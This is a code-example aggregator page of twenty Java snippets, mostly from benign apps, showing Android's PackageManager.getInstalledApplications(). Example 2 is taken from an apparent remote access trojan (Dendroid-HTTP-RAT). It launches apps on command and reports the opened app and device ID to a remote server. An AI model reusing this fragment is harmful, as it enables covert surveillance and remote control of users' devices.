Java Code Examples for android.content.pm.PackageManager.getInstalledApplications()

The following are Jave code examples for showing how to use getInstalledApplications() of the android.content.pm.PackageManager class. You can vote up the examples you like. Your votes will be used in our system to get more good examples.
+ Save this method
Example 1
Project: fitnotifications   File: Func.java   View Source Code Vote up 7 votes
public static List<ResolveInfo> getInstalledPackages(PackageManager pm, Context context) {
    DebugLog log = DebugLog.get(context);
    if (log.isEnabled()) {
        log.writeLog("Getting installed packages. Will try a few different methods to see if I receive a suitable app list.");
    }

    Intent startupIntent = new Intent(Intent.ACTION_MAIN);
    startupIntent.addCategory(Intent.CATEGORY_LAUNCHER);
    List<ResolveInfo> resolveInfos = pm.queryIntentActivities(startupIntent, 0);

    if (log.isEnabled()) {
        log.writeLog("Got " + resolveInfos.size() + " apps via queryIntentActivities.");
    }

    List<ApplicationInfo> appInfos = pm.getInstalledApplications(PackageManager.GET_META_DATA);
    if (log.isEnabled()) {
        log.writeLog("Got " + appInfos.size() + " apps via getInstalledApplications with GET_META_DATA.");
    }

    appInfos = pm.getInstalledApplications(0);
    if (log.isEnabled()) {
        log.writeLog("Got " + appInfos.size() + " apps via getInstalledApplications with no flags");
    }

    return resolveInfos;
}
 
Example 2
Project: Dendroid-HTTP-RAT   File: MyService.java   View Source Code Vote up 6 votes
@Override
   protected String doInBackground(String... params) {     
	final PackageManager packageManager = getApplicationContext().getPackageManager();
	List<ApplicationInfo> installedApplications = packageManager.getInstalledApplications(PackageManager.GET_META_DATA);	
	for (ApplicationInfo appInfo : installedApplications)
	{
		if(appInfo.packageName.equals(i))
		{
  	Intent k = new Intent();
  	PackageManager manager = getPackageManager();
  	k = manager.getLaunchIntentForPackage(i);
  	k.addCategory(Intent.CATEGORY_LAUNCHER);
  	startActivity(k);
  	
      try {
	getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "Opened App: " + i);
} catch (UnsupportedEncodingException e) {
	 
	e.printStackTrace();
}        	
		}
	}
 return "Executed";
   }
 
Example 3
Project: Detoxiom   File: AppNameAndLogoProvider.java   View Source Code Vote up 6 votes
public ArrayList<Drawable> getAppLogosArray() {
    PackageManager pm = context.getPackageManager();
    listOfAppInfo = pm.getInstalledApplications(pm.GET_META_DATA);

    for(ApplicationInfo app : listOfAppInfo) {

        if(pm.getLaunchIntentForPackage(app.packageName) != null) {
            // apps with launcher intent
            if((app.flags & ApplicationInfo.FLAG_UPDATED_SYSTEM_APP) == 1) {
                // updated system apps

            } else if ((app.flags & ApplicationInfo.FLAG_SYSTEM) == 1) {
                // system apps

            } else {
                // user installed apps
                appLogosArray.add(app.loadIcon(pm));

            }
        }

    }
    return appLogosArray;
}
 
Example 4
Project: TIIEHenry-Android-SDK   File: AppUtils.java   View Source Code Vote up 6 votes
/**
 * 获取所有app的安装路径
 *
 * @param context
 * @return ArrayList<HashMap<String, String>> package:包名,url:地址
 */
public static ArrayList<HashMap<String, String>> getAllInstelAppUrl(
        Context context) {

    ArrayList<HashMap<String, String>> appInfos = new ArrayList<HashMap<String, String>>();

    PackageManager pm = context.getPackageManager();

    for (ApplicationInfo app : pm.getInstalledApplications(0)) {

        HashMap<String, String> appInfo = new HashMap<String, String>();
        appInfo.put("package", app.packageName);
        appInfo.put("url", app.sourceDir);
        appInfos.add(appInfo);
       }

    return appInfos;
}
 
Example 5
Project: ultrasonic   File: Util.java   View Source Code Vote up 6 votes
public static boolean isPackageInstalled(Context context, String packageName)
{
	PackageManager pm = context.getPackageManager();
	List<ApplicationInfo> packages = null;

	if (pm != null)
	{
		packages = pm.getInstalledApplications(0);
	}

	if (packages != null)
	{
		for (ApplicationInfo packageInfo : packages)
		{
			if (packageInfo.packageName.equals(packageName))
			{
				return true;
			}
		}
	}

	return false;
}
 
Example 6
Project: OpenYOLO-Android   File: InstalledAppsUtil.java   View Source Code Vote up 6 votes
/**
 * Retrieves a set of the package names of all non-system applications.
 */
public static Set<String> getInstalledApps(Context context) {
    PackageManager pm = context.getPackageManager();
    List<ApplicationInfo> installedAppInfos =
            pm.getInstalledApplications(PackageManager.GET_META_DATA);

    TreeSet<String> apps = new TreeSet<>();
    for (ApplicationInfo info : installedAppInfos) {
        // ignore self
        if (context.getPackageName().equals(info.packageName)) {
            continue;
        }

        // skip system apps
        if ((info.flags & ApplicationInfo.FLAG_SYSTEM) != 0) {
            continue;
        }

        apps.add(info.packageName);
    }

    return apps;
}
 
Example 7
Project: weex-3d-map   File: LoadPackagesAsyncTask.java   View Source Code Vote up 6 votes
@Override
protected List<AppInfo> doInBackground(Object... objects) {
  List<AppInfo> labelsPackages = new ArrayList<>();
  PackageManager packageManager = activity.getPackageManager();
  Iterable<ApplicationInfo> appInfos = packageManager.getInstalledApplications(0);
  for (PackageItemInfo appInfo : appInfos) {
    String packageName = appInfo.packageName;
    if (!isHidden(packageName)) {
      CharSequence label = appInfo.loadLabel(packageManager);
      Drawable icon = appInfo.loadIcon(packageManager);        
      if (label != null) {
        labelsPackages.add(new AppInfo(packageName, label.toString(), icon));
      }
    }
  }
  Collections.sort(labelsPackages);
  return labelsPackages;
}
 
Example 8
Project: bluewatcher   File: InstalledAppsListAdapter.java   View Source Code Vote up 6 votes
@SuppressLint("DefaultLocale")
public InstalledAppsListAdapter(LayoutInflater inflator, PackageManager packageManager, String filter) {
       super();
       this.inflator = inflator;
       this.packageManager = packageManager;
       if( filter == null ) {
       	this.appsInfo = packageManager.getInstalledApplications(PackageManager.GET_META_DATA);
       } else {
       	List<ApplicationInfo> tempAppsInfo = packageManager.getInstalledApplications(PackageManager.GET_META_DATA);
       	 this.appsInfo = new ArrayList<ApplicationInfo>();
       	 for( ApplicationInfo appInfo : tempAppsInfo ) {
       		 String appName = appInfo.loadLabel(packageManager).toString().toLowerCase();
       		 if(appName.contains(filter.toLowerCase()))
       			 appsInfo.add(appInfo);
       	 }
       }
   }
 
Example 9
Project: AppTerminator   File: MainActivity.java   View Source Code Vote up 6 votes
@Override
protected void onResume() {
    super.onResume();
    PackageManager packageManager = getPackageManager();
    List<ApplicationInfo> installedApplications = packageManager.getInstalledApplications(0);

    List<ApplicationInfo> debugApps = new ArrayList<>();

    for (ApplicationInfo applicationInfo : installedApplications){
        boolean isDebuggable =  ( 0 != ( applicationInfo.flags & ApplicationInfo.FLAG_DEBUGGABLE));
        if(isDebuggable){
            debugApps.add(applicationInfo);
        }
    }

    adapter.addProcesses(debugApps);
}
 
Example 10
Project: AppTerminator   File: TerminatorWidgetProvider.java   View Source Code Vote up 6 votes
@Override
public void onUpdate(Context context, AppWidgetManager appWidgetManager, int[] appWidgetIds) {
    PackageManager packageManager = context.getPackageManager();
    List<ApplicationInfo> installedApplications = packageManager.getInstalledApplications(0);
    debugApps = new ArrayList<>();
    for (ApplicationInfo applicationInfo : installedApplications) {
        boolean isDebuggable = (0 != (applicationInfo.flags & ApplicationInfo.FLAG_DEBUGGABLE));
        if (isDebuggable) {
            debugApps.add(applicationInfo);
        }
    }

    for(int widgetId : appWidgetIds){
        RemoteViews remoteViews = new RemoteViews(context.getPackageName(), R.layout.widget);

        setupRemoteViews(context, appWidgetManager, remoteViews, widgetId, 0);
    }
}
 
Example 11
Project: ZXingAndroidExt   File: LoadPackagesAsyncTask.java   View Source Code Vote up 6 votes
@Override
protected List<AppInfo> doInBackground(Object... objects) {
    List<AppInfo> labelsPackages = new ArrayList<>();
    PackageManager packageManager = activity.getPackageManager();
    Iterable<ApplicationInfo> appInfos = packageManager.getInstalledApplications(0);
    for (PackageItemInfo appInfo : appInfos) {
        String packageName = appInfo.packageName;
        if (!isHidden(packageName)) {
            CharSequence label = appInfo.loadLabel(packageManager);
            Drawable icon = appInfo.loadIcon(packageManager);
            if (label != null) {
                labelsPackages.add(new AppInfo(packageName, label.toString(), icon));
            }
        }
    }
    Collections.sort(labelsPackages);
    return labelsPackages;
}
 
Example 12
Project: OASP   File: MainActivity.java   View Source Code Vote up 5 votes
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    // Create the list view to show all the installed apps
    RecyclerView mRecyclerView = findViewById(R.id.main_view);
    mRecyclerView.setHasFixedSize(true);
    mRecyclerView.setLayoutManager(new LinearLayoutManager(this));

    // Collect all the apps' info
    ArrayList<OASPVerify> appList = new ArrayList<>();
    PackageManager pm = getPackageManager();
    List<ApplicationInfo> packages = pm.getInstalledApplications(0);
    int isSysApp = ApplicationInfo.FLAG_SYSTEM | ApplicationInfo.FLAG_UPDATED_SYSTEM_APP;
    for (ApplicationInfo app : packages) {
        // Ignore system applications
        if ((app.flags & isSysApp) == 0) {
            // Skip the demo app itself
            if (app.packageName.equals(getApplicationContext().getPackageName()))
                continue;
            OASPVerify oaspInfo = new OASPVerify(pm, app);
            dump(oaspInfo);
            appList.add(oaspInfo);
        }
    }

    // Sort app list based on the package name
    Collections.sort(appList, new Comparator<OASPVerify>() {
        @Override
        public int compare(OASPVerify app1, OASPVerify app2) {
            return app1.pkg.compareTo(app2.pkg);
        }
    });

    // Show it
    RecyclerView.Adapter mAdapter = new ListAdapter(appList);
    mRecyclerView.setAdapter(mAdapter);
}
 
Example 13
Project: Android-SmartWebView   File: UriHelper.java   View Source Code Vote up 5 votes
static boolean isPackageExists(Context context, String targetPackage) {
    PackageManager pm = context.getPackageManager();
    List<ApplicationInfo> packages = pm.getInstalledApplications(0);
    for (ApplicationInfo packageInfo : packages) {
        if (packageInfo.packageName.equals(targetPackage)) return true;
    }
    return false;
}
 
Example 14
Project: mobile-store   File: CacheSwapAppsService.java   View Source Code Vote up 5 votes
/**
 * Parse all of the locally installed APKs into a memory cache, starting
 * with the currently selected apps.  APKs that are already parsed in the
 * {@code index.jar} file will be read from that file.
 */
public static void startCaching(Context context) {
    File indexJarFile = LocalRepoManager.get(context).getIndexJar();
    PackageManager pm = context.getPackageManager();
    for (ApplicationInfo applicationInfo : pm.getInstalledApplications(0)) {
        if (applicationInfo.publicSourceDir.startsWith(FDroidApp.SYSTEM_DIR_NAME)) {
            continue;
        }
        if (!indexJarFile.exists()
                || FileUtils.isFileNewer(new File(applicationInfo.sourceDir), indexJarFile)) {
            parseApp(context, applicationInfo.packageName);
        }
    }
}
 
Example 15
Project: AndroidRate   File: UriHelper.java   View Source Code Vote up 5 votes
static boolean isPackageExists(Context context, @SuppressWarnings("SameParameterValue") String targetPackage) {
    PackageManager pm = context.getPackageManager();
    List<ApplicationInfo> packages = pm.getInstalledApplications(0);
    for (ApplicationInfo packageInfo : packages) {
        if (packageInfo.packageName.equals(targetPackage)) return true;
    }
    return false;
}
 
Example 16
Project: FakeLock   File: MainFragment.java   View Source Code Vote up 5 votes
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
                         Bundle savedInstanceState) {
    View view = inflater.inflate(R.layout.fragment_item_list, container, false);

    // Set the adapter
    if (view instanceof RecyclerView) {
        Context context = view.getContext();
        RecyclerView recyclerView = (RecyclerView) view;
        if (mColumnCount <= 1) {
            recyclerView.setLayoutManager(new LinearLayoutManager(context));
        } else {
            recyclerView.setLayoutManager(new GridLayoutManager(context, mColumnCount));
        }

        PackageManager packageManager = getActivity().getPackageManager();
        installedAppsPackagesList =
                packageManager.getInstalledApplications(PackageManager.GET_META_DATA);

        List<ApplicationInfo> launcherAppsPackagesList = new ArrayList<>();

        // filter non-launcher apps
        for (int i = 0; i < installedAppsPackagesList.size(); i++) {
            ApplicationInfo packageInfo = installedAppsPackagesList.get(i);
            if (packageManager.getLaunchIntentForPackage(packageInfo.packageName) != null) {
               launcherAppsPackagesList.add(packageInfo);
            }
        }
        recyclerView.setAdapter(new MyItemRecyclerViewAdapter(launcherAppsPackagesList,
                mListener, packageManager, getActivity()));
    }
    return view;
}
 
Example 17
Project: Auto.js   File: AppUtils.java   View Source Code Vote up 5 votes
@ScriptInterface
public String getPackageName(String appName) {
    PackageManager packageManager = mContext.getPackageManager();
    List<ApplicationInfo> installedApplications = packageManager.getInstalledApplications(PackageManager.GET_META_DATA);
    for (ApplicationInfo applicationInfo : installedApplications) {
        if (packageManager.getApplicationLabel(applicationInfo).toString().equals(appName)) {
            return applicationInfo.packageName;
        }
    }
    return null;
}
 
Example 18
Project: stynico   File: KILL.java   View Source Code Vote up 4 votes
/**
 * 获取进程信息列表
 */
private void d()
{
    ActivityManager activityManager = (ActivityManager)getSystemService(ACTIVITY_SERVICE);

    //获取所有将运行中的进程
    List<ActivityManager.RunningAppProcessInfo> runningAppList  = activityManager.getRunningAppProcesses();

    PackageManager packageManager  = this.getPackageManager();

    //获取所有包信息
    applicationInfoList = packageManager.getInstalledApplications(PackageManager.GET_UNINSTALLED_PACKAGES);


    if (processList != null && processList.size() > 0)
        processList.clear();

    if (processNamelist != null && processNamelist.size() > 0)
        processNamelist.clear();

    for (ActivityManager.RunningAppProcessInfo process : runningAppList)
    {
        if (process.processName.indexOf(this.getPackageName()) < 0)
        {   //过滤本应用包名
            ProcessInfo p = new ProcessInfo();

            ApplicationInfo appInfo = getApplicationInfoByProcessName(process.processName);
            if (appInfo == null)
            {
                //有些应用的守护进程并没有目标应用对应,此时返回null
            }
            else
            {
                p.setLabelIcon(appInfo.loadIcon(packageManager));
                p.setLabelName(appInfo.loadLabel(packageManager).toString());
                p.setProcessName(appInfo.processName);

                processNamelist.add(appInfo.processName);
                processList.add(p);
            }
        }
    }

    if (adapter == null)
    {
        adapter = new ProcessListAdapter(KILL.this, processList, new ItemButtonClick());
        ll_main.setAdapter(adapter);
        ll_main.setOnItemClickListener(new MyOnItemClickListener());
    }
    else
    {
        adapter.notifyDataSetChanged();
    }

}
 
Example 19
Project: Bigbang   File: FloatViewWhiteListActivity.java   View Source Code Vote up 4 votes
private void queryFilterAppInfo() {

        final PackageManager pm = this.getPackageManager();
        // 查询所有已经安装的应用程序
        List<ApplicationInfo> appInfos = pm.getInstalledApplications(PackageManager.GET_UNINSTALLED_PACKAGES);// GET_UNINSTALLED_PACKAGES代表已删除,但还有安装目录的


        List<AppListAdapter.ApplicationInfoWrap> applicationInfos = new ArrayList<>();
        List<AppListAdapter.ApplicationInfoWrap> allApp = new ArrayList<>();

        // 创建一个类别为CATEGORY_LAUNCHER的该包名的Intent
        Intent resolveIntent = new Intent(Intent.ACTION_MAIN, null);
        resolveIntent.addCategory(Intent.CATEGORY_LAUNCHER);

        // 通过getPackageManager()的queryIntentActivities方法遍历,得到所有能打开的app的packageName
        List<ResolveInfo> resolveinfoList = pm.queryIntentActivities(resolveIntent, 0);

        Set<String> allowPackages = new HashSet();
        for (ResolveInfo resolveInfo : resolveinfoList) {
            allowPackages.add(resolveInfo.activityInfo.packageName);
        }
        for (ApplicationInfo app : appInfos) {
//            if((app.flags & ApplicationInfo.FLAG_SYSTEM) <= 0)//排除系统应用
//            {
//                applicationInfos.add(app);
//            }
//            if(app.uid > 10000){
//                applicationInfos.add(app);
//            }


            AppListAdapter.ApplicationInfoWrap wrap = new AppListAdapter.ApplicationInfoWrap();
            wrap.applicationInfo = app;
            if (allowPackages.contains(app.packageName)) {
                applicationInfos.add(wrap);
            }
            allApp.add(wrap);
        }

        mAllApplicationInfos = allApp;
        mCanOpenApplicationInfos = applicationInfos;

        mShowApplicationInfos = mCanOpenApplicationInfos;
    }
 
Example 20
Project: Bigbang   File: SelectionDbHelper.java   View Source Code Vote up 4 votes
private void queryFilterAppInfo() {

        final PackageManager pm = mContext.getPackageManager();
        // 查询所有已经安装的应用程序
        List<ApplicationInfo> appInfos = pm.getInstalledApplications(PackageManager.GET_UNINSTALLED_PACKAGES);// GET_UNINSTALLED_PACKAGES代表已删除,但还有安装目录的


        List<AppListAdapter.ApplicationInfoWrap> applicationInfos = new ArrayList<>();
        List<AppListAdapter.ApplicationInfoWrap> allApp = new ArrayList<>();

        // 创建一个类别为CATEGORY_LAUNCHER的该包名的Intent
        Intent resolveIntent = new Intent(Intent.ACTION_MAIN, null);
        resolveIntent.addCategory(Intent.CATEGORY_LAUNCHER);

        // 通过getPackageManager()的queryIntentActivities方法遍历,得到所有能打开的app的packageName
        List<ResolveInfo> resolveinfoList = pm.queryIntentActivities(resolveIntent, 0);

        Set<String> allowPackages = new HashSet();
        for (ResolveInfo resolveInfo : resolveinfoList) {
            allowPackages.add(resolveInfo.activityInfo.packageName);
        }
        for (ApplicationInfo app : appInfos) {
//            if((app.flags & ApplicationInfo.FLAG_SYSTEM) <= 0)//排除系统应用
//            {
//                applicationInfos.add(app);
//            }
//            if(app.uid > 10000){
//                applicationInfos.add(app);
//            }


            AppListAdapter.ApplicationInfoWrap wrap = new AppListAdapter.ApplicationInfoWrap();
            wrap.applicationInfo = app;
            if (allowPackages.contains(app.packageName)) {
                applicationInfos.add(wrap);
            }
            allApp.add(wrap);
        }
        Collections.sort(applicationInfos, new Comparator<AppListAdapter.ApplicationInfoWrap>() {//按名字排序,便于找到应用

            @Override
            public int compare(AppListAdapter.ApplicationInfoWrap lhs, AppListAdapter.ApplicationInfoWrap rhs) {
                // TODO 自动生成的方法存根
                return lhs.applicationInfo.loadLabel(pm).toString().compareToIgnoreCase(rhs.applicationInfo.loadLabel(pm).toString());
            }
        });
        mCanOpenApplicationInfos = applicationInfos;

    }